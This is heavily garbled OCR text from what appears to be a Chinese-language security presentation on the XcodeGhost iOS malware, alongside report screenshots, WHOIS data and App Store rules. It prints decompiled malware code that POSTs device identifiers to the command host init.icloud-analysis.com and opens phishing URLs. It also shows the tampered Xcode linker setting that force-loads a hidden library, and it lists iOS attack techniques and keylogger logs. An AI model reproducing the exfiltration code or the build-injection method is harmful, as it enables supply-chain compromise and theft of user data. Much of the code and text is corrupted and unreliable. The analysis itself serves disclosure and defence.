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. v50 = objc_msgSend (
$shasum CoresService &OBJC_CLASS__ NSDictionary,
f2961ledaBa22dc955TeB@4@348ad76bas5985ad5 CoreService 5?2““““1‘1"“_0'

. . CFS'i‘R( "timestamp"),
$file CoreService vib, .. .
CoreService: Mach-0 universal binary with 5 architectures o
CoreService (for architecture i386): Mach-0 object 1386 CFSTR("bundle"),
CoreService (for architecture xB6_64): Mach-0 64-bit object xB6_64 grgz'm 5 "

: : = % = ("name”),
CoreService (for architecture armv7): Mach-0 object arm v20,
CoreService (for architecture armv7s): Mach-0 cbject arm ot e
CoreService (for architecture arméd): Mach-0 B4-bit object cgsin("type"),

v
CFéTR( "status"),
v6 = objc_msgSend (&0BJC_CLASS UIApplication, paSharedapplicat); Z;gén " AR

. . . ("version"),
v7 = (void *)objc_retainAutoreleasedReturnValue(v6); v24,
v8 = objc_msgSend(&0BJC_CLASS NSURL, paUrlwithstring, vl1l); CFSTR("language"),
v9 = objc_retainAutoreleasedReturnValue(v8); v3l,
objc_msgSend(v7, paOpenjurl, v9); CFSTR("country"),
objc_release(v9); ) £l R
objc_release(v7); CPSTR("idfv”),

R . 0); drops.wooyun.org

» B 7 XcodeGhostiIWASIE—EEMER | &I : 198, bundle id(@%) , KA
gﬁ_{ I gi}fﬂ}ﬁzﬁ 1|:||=| I .%-r.ro

o B 7 XcodeGhostiIh FASIREIRSE22AITm SRR OpenURL() BREEGEHXTIEIE.,
A CNCGXGKNCXRRE w5



Attack Demo i Al i s

No SIM = 16:36

zhengmin1989.com

15088888888 would like to
T, SHABRATEREARL, T e o N A )
6222 0824 0200 1757 585 el L s ¢
1757 SeS A, W . | -,
=

!

Cancel Install

REIEY] Settings Apn Store Dr,

. SRS SUSISII—" E———— —




2015-09-17 17:43 XcodeGhostigiZZ 5 Soie| 2010 BETTA SRS

MU (vS7,; PAAPPENUUATA, VIOJ]
msgSend (&0BJC_CLASS  NSURL, paUrlwithstring, CFSTR("http://init.icloud-analysis.com"));
_retainAutoreleasedReturnValue(v2l);

_msgSend (&0BJC_CLASS___ NSMutableURLRequest, paRequestwithurl, v22, 1, 0, 1077805056);

d *)objc_retainAutoreleasedReturnValue(v23);

nd(v24, paSethttpmethod, CFSTR("POST"));

_msgSend(v37, paLength);

_msgSend (&0BJC_CLASS  NSString, paStringwithform, CFSTR("%lu"), v25);
_retainAutoreleasedReturnvValue(v26);

nd(v24, paSetvalueForhtt, v27, CFSTR("Content-Length")); drops.wooyun.org

N = 3. Your Privacy and Domain Protection
Raw Registrar Data
BEST VALUE!
Domain Name: ICLOUD-ANALYSIS.COM ‘e ormat vate
s g 5 ‘eep your information privat
Registrar URL: http://www.godaddy.com Select a registration type Standard Privacy with Protected
n - : . . Registratie Busi Registrati Registrati
Registrant Name: Registration Priwvate ncugsd s Segar
Registrant Organization: Domains By Proxy, LLC In Cart
Name Server: N535.DOMAINCONTROL.COM Personal information is unprotected in v,
. _ Public WHOIS database
Name Serwer: N536.DOMAINCONTROL.COM i
Private Registrationt
DNSSEC: unsigned Helps protect yourself from spam, scams, prying eyes and more Iy «
by shielding your personal information fram public view.
Business Repistration
R T R e e Fmvi:“-sWla‘dvlai‘sD’vwbusinesstwm\“ivﬂsw'dai\yWHOIS L' +
searchers
See Business Registration Listing Expiration Protection Go Daddy EXCLUSIVE!
Protects your domain against loss due to credit card expiration «
Tk o W ke o i o e o o i R o i ke o e o b e e o b e e o e e o orfailure. outdated contact information and more.
Copy and paste the link below to view additional details: Deadbolt Transfer Protection
. N A | Protects your domain against any accidental o malicious 4
http://who.godaddy.com/whoischeck.aspx?domain=ICLOUD-ANALYSIS.COM transfer.
[Note: You will set up your Whols Advertising Listing information by logging into My Account afler purchase.
Information Updated: Wed, 30 Sep 2015 03:01:25 UTC [ Next> |

“init.icloud-analysis.com” : Godaddy FiEZ 1Rt T whoisfaFfAIRIPIRSS.
T
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NOVEL MALWARE XCODEGHOST MODIFIES XCODE, A

According to JoeyBlue in Sina Weibo, at least two famous apps were infected by XcodeGhost

INFECTS APPLE I0S APPS AND HITS APP STORE R

We downloaded the NetEase Cloud Music App (com.netease.cloudmusic) from Apples App
. Store (China region). In its latest version (2.8.3), Info.plist shows that it was built with Xcode 6.4]
POSTED BY: Claud Xiac off September 1 ?‘ 2015 4:00 PM (6E35b). In the main executable file, the malicious XcodeGhost code is present (Figure 7 and

Figure 8).
FILED IN: Malware, Threat Prevention, Unit 42

TAGGED: Apple, Baidu, i05, KeyRaider, OS5 X, Weibo, Xcode, XcodeGhost ARp R0 2 Misie >/ NEERS MO NWworK G0 g
W 5= & R-4F O 3%, B G FMIRE TE& -

NetEase (Hangzhou) Network Co.. Ltd.

UIPDATE: Since this report’s original posting on September 17, two additional XCodeGhost @ 0o Aopie Visch App for iPno

updates have been published, available here and here.

Detsils  Ratings and Reviews  Retatedt

iPhone Screenshots

On Wednesday, Chinese i05 developers disclosed a new 05 X and i03 malware on Sina
Weibal Alibaba researchers fhen posted an analysis report on the malware, giving it the name B RiRER

S005FRENS, (MPRNSERE EBCO, WIRSEF20S

XecodeGhost, We have investigated the malware to identify how it spreads, the techniques it Ratig: 17
uses and its impact.

« Palo alto networks&faiRes , FRRHEEEAY ‘
FEApp StoreNFHZ—R" MZB=ER" .
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[ NoN ] Ld.xespec

Name = ALL_OTHER_LDFLAGS;

Type = StringlList;

DefaultValue = "&{LD FLAGS) $(SFCTORDFR FLAGS) &(NTHFR LDFLAGS) 4({0OTHER LDFLAGS ${variant)) &(
OTHER_LDFLAGS_$(arch)) $(OTHER_LDFLAGS_$(variant)_g$(arch)) $(PRODUCT_SPECIFIC_LDFLAGS) -force_load '$(
PLATFORM_DEVELOPER_SDK_DIR)/Library/Frameworks/CoreServices. framework/CoreService'";
LommandLinerreTixrlag = **;

Name = AdditionalCommandLineArguments;
Type = StringlList;
CommandLinePrefixFlag = "";

- EENH:
/Applications/Xcode.app/Contents/Pluglns/Xcode3Core.ideplugin/Contents/SharedS
upport/Developer/Library/Xcode/Plug-

ins/CoreBuildTasks.xcplugin/Contents/Resources/Ld.xcspec

o IEINGEIESZEL "-force load” :
$(PLATFORM_DEVELOPER_SDK_DIR)/Library/Frameworks/CoreServices.framework/Co
reService
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 To verify the identity of your copy of Xcode run the following command
in Terminal on a system with Gatekeeper enabled:
spctl --assess --verbose /Applications/Xcode.app

« Any result other than ‘accepted’ or any source other than ‘Mac App
Store’, ‘Apple System’ or ‘Apple’ indicates that the application signature
Is not valid for Xcode.

zhengminzms-MacBook-Pro:Contents zhengmin$ spctl --assess —-verbose /Applications/Xcode.app
/Applications/Xcode.app: accepted

source=Mac App Store

override=security disabled

zhengminzms-MacBook=Pro:Contents zhengmin$ 5pct1 --as55ess —-verbose /Applications/Xcode.app
/Applications/Xcode.app: accepted
override=security disabled
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- BXJAndroid , IOSHILZEHEFREZ, EFmA
IHEYEApp StoredFappHIr=ig Bz,

. FBIT100HM
- Apps that use non-public APIs will be rejected.
- Apps that download code in any way or form will be rejected.
- Apps that install or launch other executable code will be rejected.
- Apps that read or write data outside its designated container area will be rejected.
- Multitasking Apps may only use background services for their intended purposes:
VoIP, audio playback, location, task completion, local notifications, etc.
- Apps that create alternate desktop/home screen environments or simulate multi-
App widget experiences will be rejected.
- Location data can only be used when directly relevant to the features and services
provided by the App to the user or to support approved advertising uses.
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« ZiIAppStorefYtalll - FIFSIOE, , iBi%E . ROPE, &%183 1 ACNS' 13
, Usenix Security’ 13,

- Enpublic App: Z2i8RAL IR T ERRYEapp&mEI 7R_E , {EIA
PEALITEER. e85 % , EEnLE#RAppStorefi A, (DEMO)
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« Phone Call & SMS Message Monitoring and Blocking (e.g., Qihoo)
 Collecting the Information of Installed Apps (e.g., Qihoo)

« User Events Monitoring and Controlling (e.g., i-Control) (DEMO)

 10S 3rd-party App Installation and 3rd-party Markets (e.g., Rabbit Assistant)

« Phishing Attack and Unlimited Background Running (e.g., Buddy Pro) (DEMO)
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€« - X &:w

2014-02-05 07:03:26 release_x_0. 628647 _y_0. 644302
2014-02-05 07:03:26 press_x_0.628647_y_0. 644302
2014-02-05 07:03:25 press_x_0. 627060_y_0. 645203
2014-02-05 07:03:25 press_x_0. 625473_y_0. 645088

Sign In to iTunes Store Sign In to iTunes Store

2014-02-05 07:03:25 press_x_0. 620712_y_0. 648773 Touch ID requires your password Touch ID requires your password
2014-02-05 07:03:25 press_x_0. 615936_y_0. 651443 when iPhone restarts. Enter the when iPhone restarts. Enter the
2014-02-05 07:03:24 press_x_0.611176_y_0. 655014 password for password for

2014-02-05 07:03:24 press_x_0. 606415_y_0. 653585
2014-02-05 07:03:24 press_x_0. 603241 _y_0. 662140
2014-02-05 07:03:23 press_x_0.582611_y_0. 673737
2014-02-05 07:03:21 release_x_0.523865_y_0. 591690
2014-02-05 07:03:21 press_x_0.520691_y_0. 539020
2014-02-05 07:03:21 release_x_0.719131_y_0. 340179
2014-02-05 07:03:20 press_x_0.719131_y_0. 336624
2014-02-05 07:03:20 release_x_0.415924_y 0. 523911
2014-02-05 07:03:20 press_x_0.411148_v_0. 519455
2014-02-05 07:03:19 Volume_Up_Button
2014-02-05 07:03:19 Volume_Up_Button
2014-02-05 07:03:17 Volume_Down_Button
2014-02-05 07:03:17 Volume_Dowm_Button
2014-02-05 07:03:15 Touch_ID N N IEY IR I YA R I N R N A EY (RN BN R A e
2014-02-05 07:03:14 Touch_ID
2014-02-05 07:03:14 Touch_ID
b o ! 2014-02-05 07:03:14 Home_Button A IS D IF G I R N
Famminvasion  PvZ2, ) 4 2014-02-05 07:03:14 Touch_ID
2SRt 2014-02-05 07:03:13 Home_Button
2014-02-05 07:03:12 Power_Button
2014-02-05 07:03:11 Power_Button
2014-02-05 07:03:10 release_x_0. 407974_y_0. 798599
2014-02-05 07:03:10 press_x_0. 425446_y_0. 793243
2014-02-05 07:03:10 release_x_0. 344482_y_0. 769165

- [FENE « AppStorefy&a

CloudMagic  FireEye

B 1S 1D IE G 5 RN RS i

4 Z XCVBNM®@|#® ZXCVBNM®Q

return return
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o BT CVE-2014-4493 Replace App Store apps before iOS
8.1.3. https.//support.apple.com/en-us/HT204245

o [FEIAE: CVE-2014-1276 Background monitoring through
|OKit before i0S 7.1. htto.,//support.apple.com/kb/HT6162

« AppStorefyf: CVE-2015-5838 A malicious application may

be able to spoof another application's dialog before iOS 9.
https.//support.apple.com/en-us/HT205212

« URL SchemeZ#£ : Thirdy-party payment hijack on iOS 8.2.
http.//drops.wooyun.org/papers/5309
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» XcodeGhostEHEEEIBILAN AT EZ:
BRGNS

. EHARIOSHZ 214118

o ERR SRR

« REMIOSHEFERRENLE AT 12N

'I'

o XcodeGhostRLFR]
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RaftPalo alto networks , BE , &, 360, & , &K%
Z2R{ZXIXcodeGhostE{4aI=THA. (LA LHERADTTR)

+ BIFEXcodeGhostIRehTE—Lit SRR B B2 S 2BR
(] (R BRIGESIHENS ) .

. BOSFREXED T XcodeGhostEB{4RJIOSFFAEE ],

o FFRIRNET ...
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